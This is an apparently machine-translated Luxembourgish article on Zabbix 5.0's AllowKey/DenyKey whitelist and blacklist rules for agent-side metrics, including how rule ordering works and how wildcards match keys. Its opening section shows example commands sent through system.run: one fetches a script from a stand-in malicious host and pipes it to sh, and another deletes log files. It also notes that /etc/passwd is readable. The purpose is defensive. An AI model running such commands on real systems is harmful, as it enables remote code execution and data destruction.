Blacklist a Whitelist Support fir Agent-Säit Metriken an Zabbix 5.0

Blacklist a Whitelist Support fir Agent-Säit Metriken an Zabbix 5.0

Blacklist a Whitelist Ënnerstëtzung fir Agent-Säit Metriken

Tikhon Uskov, Integratiounsingenieur, Zabbix

Daten Sécherheet Problemer

Zabbix 5.0 huet eng nei Feature déi Iech erlaabt d'Sécherheet an de Systemer ze verbesseren déi Zabbix Agent benotzen an den alen Parameter ersetzt EnableRemoteCommands.

Verbesserungen an der Sécherheet vun Agent-baséiert Systemer stamen aus der Tatsaach, datt en Agent eng grouss Zuel vu potenziell geféierlech Aktiounen Leeschtunge kann.

  • Den Agent ka bal all Informatioun sammelen, och vertraulech oder potenziell geféierlech Informatioun, vu Konfiguratiounsdateien, Logdateien, Passwuertdateien oder all aner Dateien.

Zum Beispill, mat der zabbix_get Utility kënnt Dir Zougang zu enger Lëscht vu Benotzer, hir Heemverzeichnisser, Passwuertdateien, etc.

Blacklist a Whitelist Support fir Agent-Säit Metriken an Zabbix 5.0

Zougang zu Daten mat dem zabbix_get Utility

NOTIZ. D'Donnéeë kënnen nëmmen erëmfonnt ginn wann den Agent Lieserlaabnes op déi entspriechend Datei huet. Awer zum Beispill de Fichier /etc/passwd/ liesbar vun all Benotzer.

  • Den Agent kann och potenziell geféierlech Kommandoen ausféieren. Zum Beispill, Schlëssel *system.run[]** erlaabt Iech all Fernbefehl op Netzknäppchen auszeféieren, dorënner Scripte vun der Zabbix Webinterface déi och Kommandoen op der Agent Säit ausféieren.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • Op Linux leeft den Agent par défaut ouni Root Privilegien, während op Windows et als Service als System leeft an onbeschränkten Zougang zum Dateiesystem huet. Deementspriechend, wa keng Ännerungen un den Zabbix Agent Parameteren no der Installatioun gemaach ginn, huet den Agent Zougang zum Registry, Dateisystem a kann WMI Ufroen ausféieren.

A fréiere Versioune gëtt de Parameter EnableRemoteCommands=0 erlaabt nëmme Metriken mat dem Schlëssel auszeschalten *system.run[]** a Lafen Scripten aus dem Web Interface, mä et war kee Wee Zougang zu eenzelne Fichieren ze beschränken, erlaabt oder auszeschalten eenzel Schlësselen déi mam Agent installéiert goufen, oder limitéieren d'Benotzung vun eenzelne Parameteren.

Blacklist a Whitelist Support fir Agent-Säit Metriken an Zabbix 5.0

Benotzt den EnableRemoteCommand Parameter a fréiere Versioune vun Zabbix

AllowKey/DenyKey

Zabbix 5.0 hëlleft géint esou onerlaabten Zougang ze schützen andeems Dir Whitelists a Blacklists ubitt fir Metriken op der Agent Säit z'erméiglechen an ze refuséieren.

An Zabbix 5.0 all Schlësselen, dorënner *system.run[]** sinn aktivéiert, an zwou nei Agentkonfiguratiounsoptioune goufen derbäigesat:

AllowKey= - erlaabt Kontrollen;

DenyKey= - verbueden Kontrollen;

wou ass e Schlëssel Numm Muster mat Parameteren déi Metacharaktere benotzt (*).

D'AllowKey an DenyKey Schlësselen erlaben Iech individuell Metriken op Basis vun engem spezifesche Muster ze erlaben oder ze refuséieren. Am Géigesaz zu anere Konfiguratiounsparameter ass d'Zuel vun den AllowKey/DenyKey Parameteren net limitéiert. Dëst erlaabt Iech kloer ze definéieren wat genau den Agent am System maache kann andeems Dir e Bam vu Schecken erstellt - ausführbare Schlësselen, wou d'Uerdnung an där se geschriwwe sinn eng ganz wichteg Roll spillt.

Sequenz vun Regelen

D'Regele ginn iwwerpréift an der Uerdnung an där se an d'Konfiguratiounsdatei agefouert ginn. De Schlëssel gëtt no de Regele virum éischte Match iwwerpréift, a soubal de Schlëssel vum Dateelement mam Muster entsprécht, ass et erlaabt oder refuséiert. Duerno stoppt d'Regelkontrolle an déi verbleiwen Schlësselen ginn ignoréiert.

Dofir, wann en Element mat enger Erlaabnes- an enger Ofleenungsregel entsprécht, hänkt d'Resultat dovun of wéi eng Regel als éischt an der Konfiguratiounsdatei ass.

Blacklist a Whitelist Support fir Agent-Säit Metriken an Zabbix 5.0

2 verschidde Regele mat dem selwechte Muster an engem Schlëssel vfs.file.size[/tmp/file]

D'Uerdnung fir d'AllowKey/DenyKey Schlësselen ze benotzen:

  1. genee Regelen,
  2. allgemeng Regelen,
  3. verbueden Regel.

Zum Beispill, wann Dir Zougang zu Dateien an engem bestëmmten Dossier braucht, musst Dir als éischt Zougang zu hinnen erlaben, an dann alles ofleenen wat net an den etabléierte Permissiounen falen. Wann d'Verweigerungsregel als éischt benotzt gëtt, gëtt den Zougang zum Dossier verweigert.

Blacklist a Whitelist Support fir Agent-Säit Metriken an Zabbix 5.0

Richteg Sequenz

Wann Dir musst erlaben 2 Utilities ze lafen iwwer *system.run[]**, an d'Verleegungsregel gëtt als éischt spezifizéiert, d'Utilities ginn net lancéiert, well dat éischt Muster wäert ëmmer mat engem Schlëssel passen, a spéider Regele ginn ignoréiert.

Blacklist a Whitelist Support fir Agent-Säit Metriken an Zabbix 5.0

Falsch Sequenz

Musteren

Basisregeleg

Muster ass en Ausdrock mat Wildcards. De Metacharakter (*) entsprécht all Zuel vun all Zeechen op enger spezifescher Positioun. Metacharaktere kënne souwuel am Schlësselnumm wéi a Parameteren benotzt ginn. Zum Beispill kënnt Dir den éischte Parameter strikt mat Text definéieren, a spezifizéiert de nächste als Wildcard.

D'Parameteren mussen a véiereckege Klammeren zougemaach ginn [].

  • system.run[* - falsch
  • vfs.file*.txt] - falsch
  • vfs.file.*[*] - riets

Beispiller fir Wildcard ze benotzen.

  1. Am Schlësselnumm an am Parameter. An dësem Fall entsprécht de Schlëssel net engem ähnleche Schlëssel deen kee Parameter enthält, well am Muster hu mir uginn datt mir e gewëssen Enn vum Schlësselnumm an e bestëmmte Set vu Parameteren kréien wëllen.
  2. Wann d'Muster keng Quadratklammern benotzt, erlaabt d'Muster all Schlësselen déi keng Parameteren enthalen an dementéiert all Schlësselen déi de spezifizéierte Parameter enthalen.
  3. Wann de Schlëssel voll geschriwwe gëtt an d'Parameteren als Wildcard spezifizéiert sinn, passt et all ähnleche Schlëssel mat all Parameteren a passt net mam Schlëssel ouni Quadratklammern, dh et gëtt erlaabt oder verweigert.

Blacklist a Whitelist Support fir Agent-Säit Metriken an Zabbix 5.0

Regele fir Parameteren auszefëllen.

  • Wann e Schlëssel mat Parameteren geduecht ass fir ze benotzen, mussen d'Parameteren an der Konfiguratiounsdatei spezifizéiert ginn. Parameter mussen als Metacharakter spezifizéiert ginn. Et ass noutwendeg den Zougang zu all Datei virsiichteg ze refuséieren an ze berücksichtegen wéi eng Informatioun d'Metrik ënner verschiddene Schreifweise liwwere kann - mat an ouni Parameteren.

Blacklist a Whitelist Support fir Agent-Säit Metriken an Zabbix 5.0

Fonctiounen vun Schreiwen Schlësselen mat Parameteren

  • Wann e Schlëssel mat Parameteren uginn ass, awer d'Parameteren sinn fakultativ an als Metacharakter spezifizéiert, gëtt e Schlëssel ouni Parameter geléist. Zum Beispill, wann Dir d'Informatioun iwwer d'Laascht op der CPU auszeschalten wëllt an uginn datt de System.cpu.load[*] Schlëssel deaktivéiert soll sinn, vergiesst net datt de Schlëssel ouni Parameteren den DuerchschnëttsLaaschtwäert zréckkënnt.

Blacklist a Whitelist Support fir Agent-Säit Metriken an Zabbix 5.0

Regele fir Parameteren auszefëllen

Notizen

Upassung

  • Puer Regelen kann net vum Benotzer geännert ginn, Zum Beispill, Entdeckung Regelen oder Agent Auto-Aschreiwung Regelen. AllowKey/DenyKey Regelen beaflossen net déi folgend Parameteren:
    - HostnameItem
    - HostMetadataItem
    - HostInterfaceItem

NOTIZ. Wann en Administrateur e Schlëssel deaktivéiert, wann et gefrot gëtt, liwwert Zabbix keng Informatioun iwwer firwat d'Metrik oder de Schlëssel an d'Kategorie fältNET Ënnerstëtzt'. Informatioun iwwer Verbueter fir d'Ausféierung vun Fernbefehle gëtt och net an den Agent Log Dateien ugewisen. Dëst ass aus Sécherheetsgrënn, awer kann Debugging komplizéiere wann Metriken aus iergendengem Grond an eng net ënnerstëtzt Kategorie falen.

  • Dir sollt net op eng spezifesch Uerdnung vertrauen fir extern Konfiguratiounsdateien ze verbannen (zum Beispill an alphabetesch Uerdnung).

Kommando Linn Utilities

Nodeems Dir d'Regele ageriicht hutt, musst Dir sécher sinn datt alles richteg konfiguréiert ass.

Dir kënnt eng vun dräi Optiounen benotzen:

  • Füügt eng Metrik un Zabbix.
  • Test mat zabbix_agentd. Zabbix Agent mat Optioun -print (-p) weist all Schlësselen (déi als Standard erlaabt sinn) ausser déi, déi net vun der Konfiguratioun erlaabt sinn. A mat der Optioun -test (-t) fir e verbuedenen Schlëssel wäert zréck'Net ënnerstëtzt Element Schlëssel'.
  • Test mat zabbix_get. Utility zabbix_get mat Optioun -k wäert zréck'ZBX_NOTSUPPORTED: Onbekannt Metrik'.

Erlaabt oder verleegnen

Dir kënnt Zougang zu enger Datei verweigeren a verifizéieren, zum Beispill, mam Utility zabbix_getdatt den Zougang zum Fichier verweigert gëtt.

Blacklist a Whitelist Support fir Agent-Säit Metriken an Zabbix 5.0

**

NOTIZ. Zitater am Parameter ginn ignoréiert.

An dësem Fall kann Zougang zu esou engem Fichier iwwer en anere Wee erlaabt sinn. Zum Beispill, wann e Symlink dozou féiert.

Blacklist a Whitelist Support fir Agent-Säit Metriken an Zabbix 5.0

Et ass recommandéiert verschidde Méiglechkeeten fir d'Uwendung vun de spezifizéierte Reegelen z'iwwerpréiwen, an och d'Méiglechkeeten ze berücksichtegen fir d'Verbueter ëmzegoen.

Froen an Äntwerten

Är Fro. Firwat gouf esou e komplext Muster mat senger eegener Sprooch gewielt fir Regelen, Permissiounen a Verbueter ze beschreiwen? Firwat war et net méiglech, zum Beispill déi regulär Ausdréck ze benotzen déi Zabbix benotzt?

Äntwert. Dëst ass e Regex Performance Thema well et normalerweis nëmmen een Agent gëtt an et iwwerpréift eng enorm Zuel vu Metriken. Regex ass eng zimlech schwéier Operatioun a mir kënnen net Dausende vu Metriken op dës Manéier kontrolléieren. Wildcards - eng universell, wäit benotzt an einfach Léisung.

Är Fro. Sinn d'Include Dateien net an alphabetesch Uerdnung abegraff?

Äntwert. Souwäit ech weess, ass et quasi onméiglech d'Uerdnung virauszesoen, an där d'Regele applizéiert ginn, wann Dir d'Regele iwwer verschidde Dateien verbreet. Ech recommandéieren all AllowKey/DenyKey Regelen an engem Include Datei ze sammelen, well se matenee interagéieren, an dës Datei enthalen.

Är Fro. An Zabbix 5.0 d'Optioun 'EnableRemoteCommands=' fehlt an der Konfiguratiounsdatei, an nëmmen AllowKey/DenyKey sinn verfügbar?

Äntwert. jo dat ass richteg.

Merci fir Är Opmierksamkeet!

Source: will.com

Setzt e Commentaire